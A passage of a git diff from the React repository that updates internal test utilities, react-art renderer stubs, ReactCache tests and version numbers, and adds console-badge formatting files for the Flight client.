+    // ensure we still include it in the normalized output for consistency
+    copy.value = {
+      value: undefined,
+    };
+  } else if (ioInfo.name && ioInfo.name !== 'rsc stream') {
+    // For non-rsc-stream IO that doesn't have a value field, add a default.
+    // This handles the case where the server doesn't send the field when WeakRef is GC'd.
+    copy.value = {
+      value: undefined,
+    };
+  }
+  return copy;
+}
+
+function normalizeDebugInfo(config: DebugInfoConfig, original) {
+  const {debugTask, debugStack, debugLocation, ...debugInfo} = original;
+  if (original.owner) {
+    debugInfo.owner = normalizeDebugInfo(config, original.owner);
+  }
+  if (original.awaited) {
+    debugInfo.awaited = normalizeIOInfo(config, original.awaited);
+  }
+  if (debugInfo.props && config.ignoreProps) {
+    debugInfo.props = {};
+  }
+  if (Array.isArray(debugInfo.stack)) {
+    debugInfo.stack = config.useV8Stack
+      ? formatV8Stack(debugInfo.stack)
+      : normalizeStack(debugInfo.stack);
+    return debugInfo;
+  } else if (typeof debugInfo.time === 'number' && config.useFixedTime) {
+    return {...debugInfo, time: 0};
+  } else {
+    return debugInfo;
+  }
+}
+
+export function getDebugInfo(config: DebugInfoConfig, obj) {
+  const debugInfo = obj._debugInfo;
+  if (debugInfo) {
+    const copy = [];
+    for (let i = 0; i < debugInfo.length; i++) {
+      if (
+        debugInfo[i].awaited &&
+        debugInfo[i].awaited.name === 'rsc stream' &&
+        config.ignoreRscStreamInfo
+      ) {
+        // Ignore RSC stream I/O info.
+      } else {
+        copy.push(normalizeDebugInfo(config, debugInfo[i]));
+      }
+    }
+    return copy;
+  }
+  return debugInfo;
+}
diff --git a/packages/internal-test-utils/enqueueTask.js b/packages/internal-test-utils/enqueueTask.js
index 9ddcf1d5cab5..1edb75a7b180 100644
--- a/packages/internal-test-utils/enqueueTask.js
+++ b/packages/internal-test-utils/enqueueTask.js
@@ -11,6 +11,7 @@ const {MessageChannel} = require('node:worker_threads');
 
 export default function enqueueTask(task: () => void): void {
   const channel = new MessageChannel();
+  // $FlowFixMe[prop-missing]
   channel.port1.onmessage = () => {
     channel.port1.close();
     task();
diff --git a/packages/internal-test-utils/internalAct.js b/packages/internal-test-utils/internalAct.js
index 22bb92c24fc2..c2c4afb21ade 100644
--- a/packages/internal-test-utils/internalAct.js
+++ b/packages/internal-test-utils/internalAct.js
@@ -34,7 +34,6 @@ async function waitForMicrotasks() {
 
 function aggregateErrors(errors: Array<mixed>): mixed {
   if (errors.length > 1 && typeof AggregateError === 'function') {
-    // eslint-disable-next-line no-undef
     return new AggregateError(errors);
   }
   return errors[0];
@@ -138,6 +137,7 @@ export async function act<T>(scope: () => Thenable<T>): Thenable<T> {
           // those will also fire now, too, which is not ideal. (The public
           // version of `act` doesn't do this.) For this reason, we should try
           // to avoid using timers in our internal tests.
+          j.runAllTicks();
           j.runOnlyPendingTimers();
           // If a committing a fallback triggers another update, it might not
           // get scheduled until a microtask. So wait one more time.
@@ -163,6 +163,7 @@ export async function act<T>(scope: () => Thenable<T>): Thenable<T> {
       throw thrownError;
     }
 
+    // $FlowFixMe[incompatible-return]
     return result;
   } finally {
     const depth = actingUpdatesScopeDepth;
@@ -192,3 +193,104 @@ export async function act<T>(scope: () => Thenable<T>): Thenable<T> {
     }
   }
 }
+
+async function waitForTasksAndTimers(error: Error) {
+  do {
+    // Wait until end of current task/microtask.
+    await waitForMicrotasks();
+
+    // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object
+    if (jest.isEnvironmentTornDown()) {
+      error.message =
+        'The Jest environment was torn down before `act` completed. This ' +
+        'probably means you forgot to `await` an `act` call.';
+      throw error;
+    }
+
+    // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object
+    const j = jest;
+    if (j.getTimerCount() > 0) {
+      // There's a pending timer. Flush it now. We only do this in order to
+      // force Suspense fallbacks to display; the fact that it's a timer
+      // is an implementation detail. If there are other timers scheduled,
+      // those will also fire now, too, which is not ideal. (The public
+      // version of `act` doesn't do this.) For this reason, we should try
+      // to avoid using timers in our internal tests.
+      j.runAllTicks();
+      j.runOnlyPendingTimers();
+      // If a committing a fallback triggers another update, it might not
+      // get scheduled until a microtask. So wait one more time.
+      await waitForMicrotasks();
+    } else {
+      break;
+    }
+  } while (true);
+}
+
+export async function serverAct<T>(scope: () => Thenable<T>): Thenable<T> {
+  // We require every `act` call to assert console logs
+  // with one of the assertion helpers. Fails if not empty.
+  assertConsoleLogsCleared();
+
+  // $FlowFixMe[cannot-resolve-name]: Flow doesn't know about global Jest object
+  if (!jest.isMockFunction(setTimeout)) {
+    throw Error(
+      "This version of `act` requires Jest's timer mocks " +
+        '(i.e. jest.useFakeTimers).',
+    );
+  }
+
+  // Create the error object before doing any async work, to get a better
+  // stack trace.
+  const error = new Error();
+  Error.captureStackTrace(error, act);
+
+  // Call the provided scope function after an async gap. This is an extra
+  // precaution to ensure that our tests do not accidentally rely on the act
+  // scope adding work to the queue synchronously. We don't do this in the
+  // public version of `act`, though we maybe should in the future.
+  await waitForMicrotasks();
+
+  const errorHandlerNode = function (err: mixed) {
+    thrownErrors.push(err);
+  };
+  // We track errors that were logged globally as if they occurred in this scope and then rethrow them.
+  if (typeof process === 'object') {
+    // Node environment
+    process.on('uncaughtException', errorHandlerNode);
+  } else if (
+    typeof window === 'object' &&
+    typeof window.addEventListener === 'function'
+  ) {
+    throw new Error('serverAct is not supported in JSDOM environments');
+  }
+
+  try {
+    const promise = scope();
+    // $FlowFixMe[prop-missing]
+    if (promise && typeof promise.catch === 'function') {
+      // $FlowFixMe[incompatible-use]
+      promise.catch(() => {}); // Handle below
+    }
+    // See if we need to do some work to unblock the promise first.
+    await waitForTasksAndTimers(error);
+    const result = await promise;
+    // Then wait to flush the result.
+    await waitForTasksAndTimers(error);
+
+    if (thrownErrors.length > 0) {
+      // Rethrow any errors logged by the global error handling.
+      const thrownError = aggregateErrors(thrownErrors);
+      thrownErrors.length = 0;
+      throw thrownError;
+    }
+
+    // $FlowFixMe[incompatible-return]
+    return result;
+  } finally {
+    if (typeof process === 'object') {
+      // Node environment
+      process.off('uncaughtException', errorHandlerNode);
+    }
+  }
+}
diff --git a/packages/internal-test-utils/shouldIgnoreConsoleError.js b/packages/internal-test-utils/shouldIgnoreConsoleError.js
index 383650d25a0b..0b5798d241a1 100644
--- a/packages/internal-test-utils/shouldIgnoreConsoleError.js
+++ b/packages/internal-test-utils/shouldIgnoreConsoleError.js
@@ -3,6 +3,10 @@
 module.exports = function shouldIgnoreConsoleError(format, args) {
   if (__DEV__) {
     if (typeof format === 'string') {
+      if (format.startsWith('%c%s')) {
+        // Looks like a badged error message
+        args.splice(0, 3);
+      }
       if (
         args[0] != null &&
         ((typeof args[0] === 'object' &&
diff --git a/packages/jest-react/package.json b/packages/jest-react/package.json
index ca872bf1c9bd..a5d6878294e7 100644
--- a/packages/jest-react/package.json
+++ b/packages/jest-react/package.json
@@ -1,6 +1,6 @@
 {
   "name": "jest-react",
-  "version": "0.14.0",
+  "version": "0.17.0",
   "description": "Jest matchers and utilities for testing React components.",
   "main": "index.js",
   "repository": {
diff --git a/packages/jest-react/src/JestReact.js b/packages/jest-react/src/JestReact.js
index 4eefc58c8522..3cb9ab88f32f 100644
--- a/packages/jest-react/src/JestReact.js
+++ b/packages/jest-react/src/JestReact.js
@@ -6,7 +6,6 @@
  */
 
 import {REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE} from 'shared/ReactSymbols';
-import {disableStringRefs, enableRefAsProp} from 'shared/ReactFeatureFlags';
 const {assertConsoleLogsCleared} = require('internal-test-utils/consoleMock');
 
 import isArray from 'shared/isArray';
@@ -42,7 +41,7 @@ function assertYieldsWereCleared(root) {
 }
 
 function createJSXElementForTestComparison(type, props) {
-  if (__DEV__ && enableRefAsProp) {
+  if (__DEV__) {
     const element = {
       $$typeof: REACT_ELEMENT_TYPE,
       type: type,
@@ -56,14 +55,6 @@ function createJSXElementForTestComparison(type, props) {
       value: null,
     });
     return element;
-  } else if (!__DEV__ && disableStringRefs) {
-    return {
-      $$typeof: REACT_ELEMENT_TYPE,
-      type: type,
-      key: null,
-      ref: null,
-      props: props,
-    };
   } else {
     return {
       $$typeof: REACT_ELEMENT_TYPE,
@@ -71,8 +62,6 @@ function createJSXElementForTestComparison(type, props) {
       key: null,
       ref: null,
       props: props,
-      _owner: null,
-      _store: __DEV__ ? {} : undefined,
     };
   }
 }
diff --git a/packages/react-art/package.json b/packages/react-art/package.json
index 1a4996bc8804..daeb4ad2950b 100644
--- a/packages/react-art/package.json
+++ b/packages/react-art/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-art",
   "description": "React ART is a JavaScript library for drawing vector graphics using React. It provides declarative and reactive bindings to the ART library. Using the same declarative API you can render the output to either Canvas, SVG or VML (IE8).",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "main": "index.js",
   "repository": {
     "type": "git",
@@ -24,10 +24,10 @@
   "dependencies": {
     "art": "^0.10.1",
     "create-react-class": "^15.6.2",
-    "scheduler": "^0.23.0"
+    "scheduler": "^0.28.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0"
+    "react": "^19.3.0"
   },
   "files": [
     "LICENSE",
diff --git a/packages/react-art/src/ReactART.js b/packages/react-art/src/ReactART.js
index 4defd43e4868..f6756ba633e6 100644
--- a/packages/react-art/src/ReactART.js
+++ b/packages/react-art/src/ReactART.js
@@ -13,7 +13,11 @@ import {
   updateContainerSync,
   injectIntoDevTools,
   flushSyncWork,
+  defaultOnUncaughtError,
+  defaultOnCaughtError,
+  defaultOnRecoverableError,
 } from 'react-reconciler/src/ReactFiberReconciler';
+
 import Transform from 'art/core/transform';
 import Mode from 'art/modes/current';
 import FastNoSideEffects from 'art/modes/fast-noSideEffects';
@@ -21,6 +25,10 @@ import {disableLegacyMode} from 'shared/ReactFeatureFlags';
 
 import {TYPES, childrenAsString} from './ReactARTInternals';
 
+function defaultOnDefaultTransitionIndicator() {
+  // Noop
+}
+
 Mode.setCurrent(
   // Change to 'art/modes/dom' for easier debugging via SVG
   FastNoSideEffects,
@@ -75,6 +83,11 @@ class Surface extends React.Component {
       false,
       false,
       '',
+      defaultOnUncaughtError,
+      defaultOnCaughtError,
+      defaultOnRecoverableError,
+      defaultOnDefaultTransitionIndicator,
+      null,
     );
     // We synchronously flush updates coming from above so that they commit together
     // and so that refs resolve before the parent life cycles.
@@ -155,12 +168,7 @@ class Text extends React.Component {
   }
 }
 
-injectIntoDevTools({
-  findFiberByHostInstance: () => null,
-  bundleType: __DEV__ ? 1 : 0,
-  version: ReactVersion,
-  rendererPackageName: 'react-art',
-});
+injectIntoDevTools();
 
 /** API */
 
@@ -169,3 +177,5 @@ export const Group = TYPES.GROUP;
 export const Shape = TYPES.SHAPE;
 export const Path = Mode.Path;
 export {LinearGradient, Pattern, RadialGradient, Surface, Text, Transform};
+
+export {ReactVersion as version};
diff --git a/packages/react-art/src/ReactFiberConfigART.js b/packages/react-art/src/ReactFiberConfigART.js
index b75f75fbbe39..50873af6da04 100644
--- a/packages/react-art/src/ReactFiberConfigART.js
+++ b/packages/react-art/src/ReactFiberConfigART.js
@@ -16,6 +16,12 @@ import {
   DefaultEventPriority,
   NoEventPriority,
 } from 'react-reconciler/src/ReactEventPriorities';
+import type {ReactContext} from 'shared/ReactTypes';
+import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
+
+export {default as rendererVersion} from 'shared/ReactVersion';
+export const rendererPackageName = 'react-art';
+export const extraDevToolsConfig = null;
 
 const pooledTransform = new Transform();
 
@@ -24,6 +30,8 @@ if (__DEV__) {
   Object.freeze(NO_CONTEXT);
 }
 
+export type TransitionStatus = mixed;
+
 /** Helper Methods */
 
 function addEventListeners(instance, type, listener) {
@@ -294,6 +302,10 @@ export function createInstance(type, props, internalInstanceHandle) {
   return instance;
 }
 
+export function cloneMutableInstance(instance, keepChildren) {
+  return instance;
+}
+
 export function createTextInstance(
   text,
   rootContainerInstance,
@@ -302,6 +314,31 @@ export function createTextInstance(
   return text;
 }
 
+export function cloneMutableTextInstance(textInstance) {
+  return textInstance;
+}
+
+export type FragmentInstanceType = null;
+
+export function createFragmentInstance(fiber): null {
+  return null;
+}
+
+export function updateFragmentInstanceFiber(fiber, instance): void {
+  // Noop
+}
+
+export function commitNewChildToFragmentInstance(
+  child,
+  fragmentInstance,
+): void {
+  // Noop
+}
+
+export function deleteChildFromFragmentInstance(child, fragmentInstance): void {
+  // Noop
+}
+
 export function finalizeInitialChildren(domElement, type, props) {
   return false;
 }
@@ -355,6 +392,16 @@ export function resolveUpdatePriority(): EventPriority {
   return currentUpdatePriority || DefaultEventPriority;
 }
 
+export function trackSchedulerEvent(): void {}
+
+export function resolveEventType(): null | string {
+  return null;
+}
+
+export function resolveEventTimeStamp(): number {
+  return -1.1;
+}
+
 export function shouldAttemptEagerTransition() {
   return false;
 }
@@ -437,12 +484,98 @@ export function unhideTextInstance(textInstance, text): void {
   // Noop
 }
 
+export function applyViewTransitionName(instance, name, className) {
+  // Noop
+}
+
+export function restoreViewTransitionName(instance, props) {
+  // Noop
+}
+
+export function cancelViewTransitionName(instance, name, props) {
+  // Noop
+}
+
+export function cancelRootViewTransitionName(rootContainer) {
+  // Noop
+}
+
+export function restoreRootViewTransitionName(rootContainer) {
+  // Noop
+}
+
+export function cloneRootViewTransitionContainer(rootContainer) {
+  throw new Error('Not implemented.');
+}
+
+export function removeRootViewTransitionClone(rootContainer, clone) {
+  throw new Error('Not implemented.');
+}
+
+export type InstanceMeasurement = null;
+
+export function measureInstance(instance) {
+  return null;
+}
+
+export function measureClonedInstance(instance) {
+  return null;
+}
+
+export function wasInstanceInViewport(measurement): boolean {
+  return true;
+}
+
+export function hasInstanceChanged(oldMeasurement, newMeasurement): boolean {
+  return false;
+}
+
+export function hasInstanceAffectedParent(
+  oldMeasurement,
+  newMeasurement,
+): boolean {
+  return false;
+}
+
+export function startViewTransition() {
+  return null;
+}
+
+export type RunningViewTransition = null;
+
+export function startGestureTransition() {
+  return null;
+}
+
+export function stopViewTransition(transition: RunningViewTransition) {}
+
+export function addViewTransitionFinishedListener(
+  transition: RunningViewTransition,
+  callback: () => void,
+) {
+  callback();
+}
+
+export type ViewTransitionInstance = null | {name: string, ...};
+
+export function createViewTransitionInstance(
+  name: string,
+): ViewTransitionInstance {
+  return null;
+}
+
+export type GestureTimeline = null;
+
+export function getCurrentGestureOffset(provider: GestureTimeline): number {
+  throw new Error('startGestureTransition is not yet supported in react-art.');
+}
+
 export function clearContainer(container) {
   // TODO Implement this
 }
 
-export function getInstanceFromNode(node) {
-  throw new Error('Not implemented.');
+export function getInstanceFromNode(node): null {
+  return null;
 }
 
 export function beforeActiveInstanceBlur(internalInstanceHandle: Object) {
@@ -470,18 +603,42 @@ export function maySuspendCommit(type, props) {
   return false;
 }
 
+export function maySuspendCommitOnUpdate(type, oldProps, newProps) {
+  return false;
+}
+
+export function maySuspendCommitInSyncRender(type, props) {
+  return false;
+}
+
 export function preloadInstance(type, props) {
   // Return true to indicate it's already loaded
   return true;
 }
 
-export function startSuspendingCommit() {}
+export function startSuspendingCommit() {
+  return null;
+}
+
+export function suspendInstance(state, instance, type, props) {}
+
+export function suspendOnActiveViewTransition(state, container) {}
 
-export function suspendInstance(type, props) {}
+export function waitForCommitToBeReady(timeoutOffset) {
+  return null;
+}
 
-export function waitForCommitToBeReady() {
+export function getSuspendedCommitReason(state, rootContainer) {
   return null;
 }
 
 export const NotPendingTransition = null;
+export const HostTransitionContext: ReactContext<TransitionStatus> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  Provider: (null: any),
+  Consumer: (null: any),
+  _currentValue: NotPendingTransition,
+  _currentValue2: NotPendingTransition,
+  _threadCount: 0,
+};
 export function resetFormInstance() {}
diff --git a/packages/react-art/src/__tests__/ReactART-test.js b/packages/react-art/src/__tests__/ReactART-test.js
index 15c01e8e8972..6658cde5f663 100644
--- a/packages/react-art/src/__tests__/ReactART-test.js
+++ b/packages/react-art/src/__tests__/ReactART-test.js
@@ -23,23 +23,15 @@ import Circle from 'react-art/Circle';
 import Rectangle from 'react-art/Rectangle';
 import Wedge from 'react-art/Wedge';
 
-const {act, waitFor} = require('internal-test-utils');
+const {act} = require('internal-test-utils');
 
 // Isolate DOM renderer.
 jest.resetModules();
 // share isomorphic
 jest.mock('scheduler', () => Scheduler);
 jest.mock('react', () => React);
-const ReactDOM = require('react-dom');
 const ReactDOMClient = require('react-dom/client');
 
-// Isolate the noop renderer
-jest.resetModules();
-// share isomorphic
-jest.mock('scheduler', () => Scheduler);
-jest.mock('react', () => React);
-const ReactNoop = require('react-noop-renderer');
-
 let Group;
 let Shape;
 let Surface;
@@ -397,58 +389,6 @@ describe('ReactART', () => {
     doClick(instance);
     expect(onClick2).toBeCalled();
   });
-
-  // @gate forceConcurrentByDefaultForTesting
-  it('can concurrently render with a "primary" renderer while sharing context', async () => {
-    const CurrentRendererContext = React.createContext(null);
-
-    function Yield(props) {
-      Scheduler.log(props.value);
-      return null;
-    }
-
-    let ops = [];
-    function LogCurrentRenderer() {
-      return (
-        <CurrentRendererContext.Consumer>
-          {currentRenderer => {
-            ops.push(currentRenderer);
-            return null;
-          }}
-        </CurrentRendererContext.Consumer>
-      );
-    }
-
-    ReactNoop.render(
-      <CurrentRendererContext.Provider value="Test">
-        <Yield value="A" />
-        <Yield value="B" />
-        <LogCurrentRenderer />
-        <Yield value="C" />
-      </CurrentRendererContext.Provider>,
-    );
-
-    await waitFor(['A']);
-
-    const root = ReactDOMClient.createRoot(container);
-    // We use flush sync here because we expect this to render in between
-    // while the concurrent render is yieldy where as act would flush both.
-    ReactDOM.flushSync(() => {
-      root.render(
-        <Surface>
-          <LogCurrentRenderer />
-          <CurrentRendererContext.Provider value="ART">
-            <LogCurrentRenderer />
-          </CurrentRendererContext.Provider>
-        </Surface>,
-      );
-    });
-
-    ops = [];
-    await waitFor(['B', 'C']);
-
-    expect(ops).toEqual(['Test']);
-  });
 });
 
 describe('ReactARTComponents', () => {
diff --git a/packages/react-cache/src/__tests__/ReactCacheOld-test.internal.js b/packages/react-cache/src/__tests__/ReactCacheOld-test.internal.js
index c448a25b8317..c9247f6a882d 100644
--- a/packages/react-cache/src/__tests__/ReactCacheOld-test.internal.js
+++ b/packages/react-cache/src/__tests__/ReactCacheOld-test.internal.js
@@ -18,9 +18,11 @@ let Suspense;
 let TextResource;
 let textResourceShouldFail;
 let waitForAll;
+let waitForPaint;
 let assertLog;
 let waitForThrow;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactCache', () => {
   beforeEach(() => {
@@ -37,6 +39,8 @@ describe('ReactCache', () => {
     waitForAll = InternalTestUtils.waitForAll;
     assertLog = InternalTestUtils.assertLog;
     waitForThrow = InternalTestUtils.waitForThrow;
+    waitForPaint = InternalTestUtils.waitForPaint;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
     act = InternalTestUtils.act;
 
     TextResource = createResource(
@@ -119,7 +123,12 @@ describe('ReactCache', () => {
     const root = ReactNoop.createRoot();
     root.render(<App />);
 
-    await waitForAll(['Suspend! [Hi]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [Hi]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Hi]',
+    ]);
 
     jest.advanceTimersByTime(100);
     assertLog(['Promise resolved [Hi]']);
@@ -138,7 +147,12 @@ describe('ReactCache', () => {
     const root = ReactNoop.createRoot();
     root.render(<App />);
 
-    await waitForAll(['Suspend! [Hi]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [Hi]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Hi]',
+    ]);
 
     textResourceShouldFail = true;
     let error;
@@ -178,16 +192,33 @@ describe('ReactCache', () => {
     );
 
     if (__DEV__) {
-      await expect(async () => {
-        await waitForAll(['App', 'Loading...']);
-      }).toErrorDev([
+      await waitForAll([
+        'App',
+        'Loading...',
+        // pre-warming
+        'App',
+      ]);
+      assertConsoleErrorDev([
+        'Invalid key type. Expected a string, number, symbol, or ' +
+          "boolean, but instead received: [ 'Hi', 100 ]\n\n" +
+          'To use non-primitive values as keys, you must pass a hash ' +
+          'function as the second argument to createResource().\n' +
+          '    in App (at **)',
+
+        // pre-warming
         'Invalid key type. Expected a string, number, symbol, or ' +
           "boolean, but instead received: [ 'Hi', 100 ]\n\n" +
           'To use non-primitive values as keys, you must pass a hash ' +
-          'function as the second argument to createResource().',
+          'function as the second argument to createResource().\n' +
+          '    in App (at **)',
       ]);
     } else {
-      await waitForAll(['App', 'Loading...']);
+      await waitForAll([
+        'App',
+        'Loading...',
+        // pre-warming
+        'App',
+      ]);
     }
   });
 
@@ -203,18 +234,33 @@ describe('ReactCache', () => {
         <AsyncText ms={100} text={3} />
       </Suspense>,
     );
-    await waitForAll(['Suspend! [1]', 'Loading...']);
+    await waitForPaint(['Suspend! [1]', 'Loading...']);
     jest.advanceTimersByTime(100);
     assertLog(['Promise resolved [1]']);
-    await waitForAll([1, 'Suspend! [2]']);
+    await waitForAll([
+      1,
+      'Suspend! [2]',
+      ...(gate('alwaysThrottleRetries')
+        ? []
+        : [1, 'Suspend! [2]', 'Suspend! [3]']),
+    ]);
 
     jest.advanceTimersByTime(100);
-    assertLog(['Promise resolved [2]']);
-    await waitForAll([1, 2, 'Suspend! [3]']);
+    assertLog([
+      'Promise resolved [2]',
+      ...(gate('alwaysThrottleRetries') ? [] : ['Promise resolved [3]']),
+    ]);
+    await waitForAll([
+      1,
+      2,
+      ...(gate('alwaysThrottleRetries') ? ['Suspend! [3]'] : [3]),
+    ]);
 
-    await act(() => jest.advanceTimersByTime(100));
-    assertLog(['Promise resolved [3]', 1, 2, 3]);
+    jest.advanceTimersByTime(100);
+    assertLog(gate('alwaysThrottleRetries') ? ['Promise resolved [3]'] : []);
+    await waitForAll(gate('alwaysThrottleRetries') ? [1, 2, 3] : []);
 
+    await act(() => jest.advanceTimersByTime(100));
     expect(root).toMatchRenderedOutput('123');
 
     // Render 1, 4, 5
@@ -226,20 +272,18 @@ describe('ReactCache', () => {
       </Suspense>,
     );
 
-    await waitForAll([1, 'Suspend! [4]', 'Loading...']);
-
-    await act(() => jest.advanceTimersByTime(100));
-    assertLog([
-      'Promise resolved [4]',
+    await waitForAll([
       1,
-      4,
-      'Suspend! [5]',
-      'Promise resolved [5]',
+      'Suspend! [4]',
+      'Loading...',
       1,
-      4,
-      5,
+      'Suspend! [4]',
+      'Suspend! [5]',
     ]);
 
+    await act(() => jest.advanceTimersByTime(100));
+    assertLog(['Promise resolved [4]', 'Promise resolved [5]', 1, 4, 5]);
+
     expect(root).toMatchRenderedOutput('145');
 
     // We've now rendered values 1, 2, 3, 4, 5, over our limit of 3. The least
@@ -259,19 +303,14 @@ describe('ReactCache', () => {
       // 2 and 3 suspend because they were evicted from the cache
       'Suspend! [2]',
       'Loading...',
-    ]);
 
-    await act(() => jest.advanceTimersByTime(100));
-    assertLog([
-      'Promise resolved [2]',
       1,
-      2,
+      'Suspend! [2]',
       'Suspend! [3]',
-      'Promise resolved [3]',
-      1,
-      2,
-      3,
     ]);
+
+    await act(() => jest.advanceTimersByTime(100));
+    assertLog(['Promise resolved [2]', 'Promise resolved [3]', 1, 2, 3]);
     expect(root).toMatchRenderedOutput('123');
   });
 
@@ -346,7 +385,12 @@ describe('ReactCache', () => {
       </Suspense>,
     );
 
-    await waitForAll(['Suspend! [Hi]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [Hi]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Hi]',
+    ]);
 
     resolveThenable('Hi');
     // This thenable improperly resolves twice. We should not update the
diff --git a/packages/react-client/flight.js b/packages/react-client/flight.js
index 9089ae80c70f..6ff3072445c9 100644
--- a/packages/react-client/flight.js
+++ b/packages/react-client/flight.js
@@ -7,4 +7,11 @@
  * @flow
  */
 
+import typeof * as FlightClientAPI from './src/ReactFlightClient';
+import typeof * as HostConfig from './src/ReactFlightClientConfig';
+
 export * from './src/ReactFlightClient';
+
+// At build time, this module is wrapped as a factory function ($$$reconciler).
+// Consumers pass a host config object and get back the Flight client API.
+declare export default (hostConfig: HostConfig) => FlightClientAPI;
diff --git a/packages/react-client/src/ReactClientConsoleConfigBrowser.js b/packages/react-client/src/ReactClientConsoleConfigBrowser.js
new file mode 100644
index 000000000000..f67e4afa0c46
--- /dev/null
+++ b/packages/react-client/src/ReactClientConsoleConfigBrowser.js
@@ -0,0 +1,73 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactServerConsoleConfig
+const badgeFormat = '%c%s%c';
+// Same badge styling as DevTools.
+const badgeStyle =
+  // We use a fixed background if light-dark is not supported, otherwise
+  // we use a transparent background.
+  'background: #e6e6e6;' +
+  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
+  'color: #000000;' +
+  'color: light-dark(#000000, #ffffff);' +
+  'border-radius: 2px';
+const resetStyle = '';
+const pad = ' ';
+
+const bind = Function.prototype.bind;
+
+export function bindToConsole(
+  methodName: string,
+  args: Array<any>,
+  badgeName: string,
+): () => any {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // $FlowFixMe
+      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+
+  const newArgs = args.slice(0);
+  if (typeof newArgs[offset] === 'string') {
+    newArgs.splice(
+      offset,
+      1,
+      badgeFormat + ' ' + newArgs[offset],
+      badgeStyle,
+      pad + badgeName + pad,
+      resetStyle,
+    );
+  } else {
+    newArgs.splice(
+      offset,
+      0,
+      badgeFormat,
+      badgeStyle,
+      pad + badgeName + pad,
+      resetStyle,
+    );
+  }
+
+  // The "this" binding in the "bind";
+  newArgs.unshift(console);
+
+  // $FlowFixMe
+  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging
+}
diff --git a/packages/react-client/src/ReactClientConsoleConfigPlain.js b/packages/react-client/src/ReactClientConsoleConfigPlain.js
new file mode 100644
index 000000000000..ee4c87ca6133
--- /dev/null
+++ b/packages/react-client/src/ReactClientConsoleConfigPlain.js
@@ -0,0 +1,54 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactServerConsoleConfig
+const badgeFormat = '[%s]';
+const pad = ' ';
+
+const bind = Function.prototype.bind;
+
+export function bindToConsole(
+  methodName: string,
+  args: Array<any>,
+  badgeName: string,
+): () => any {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // $FlowFixMe
+      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+
+  const newArgs = args.slice(0);
+  if (typeof newArgs[offset] === 'string') {
+    newArgs.splice(
+      offset,
+      1,
+      badgeFormat + ' ' + newArgs[offset],
+      pad + badgeName + pad,
+    );
+  } else {
+    newArgs.splice(offset, 0, badgeFormat, pad + badgeName + pad);
+  }
+
+  // The "this" binding in the "bind";
+  newArgs.unshift(console);
+
+  // $FlowFixMe
+  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging
+}
diff --git a/packages/react-client/src/ReactClientConsoleConfigServer.js b/packages/react-client/src/ReactClientConsoleConfigServer.js
new file mode 100644
index 000000000000..6e69ef12a3ce
--- /dev/null
+++ b/packages/react-client/src/ReactClientConsoleConfigServer.js
@@ -0,0 +1,74 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactServerConsoleConfig
+// This flips color using ANSI, then sets a color styling, then resets.
+const badgeFormat = '\x1b[0m\x1b[7m%c%s\x1b[0m%c';
+// Same badge styling as DevTools.
+const badgeStyle =
+  // We use a fixed background if light-dark is not supported, otherwise
+  // we use a transparent background.
+  'background: #e6e6e6;' +
+  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
+  'color: #000000;' +
+  'color: light-dark(#000000, #ffffff);' +
+  'border-radius: 2px';
+const resetStyle = '';
+const pad = ' ';
+
+const bind = Function.prototype.bind;
+
+export function bindToConsole(
+  methodName: string,
+  args: Array<any>,
+  badgeName: string,
+): () => any {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // $FlowFixMe
+      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+
+  const newArgs = args.slice(0);
+  if (typeof newArgs[offset] === 'string') {
+    newArgs.splice(
+      offset,
+      1,
+      badgeFormat + ' ' + newArgs[offset],
+      badgeStyle,
+      pad + badgeName + pad,
+      resetStyle,
+    );
+  } else {
+    newArgs.splice(
+      offset,
+      0,
+      badgeFormat,
+      badgeStyle,
+      pad + badgeName + pad,
+      resetStyle,
+    );
+  }
+
+  // The "this" binding in the "bind";
+  newArgs.unshift(console);
+
+  // $FlowFixMe
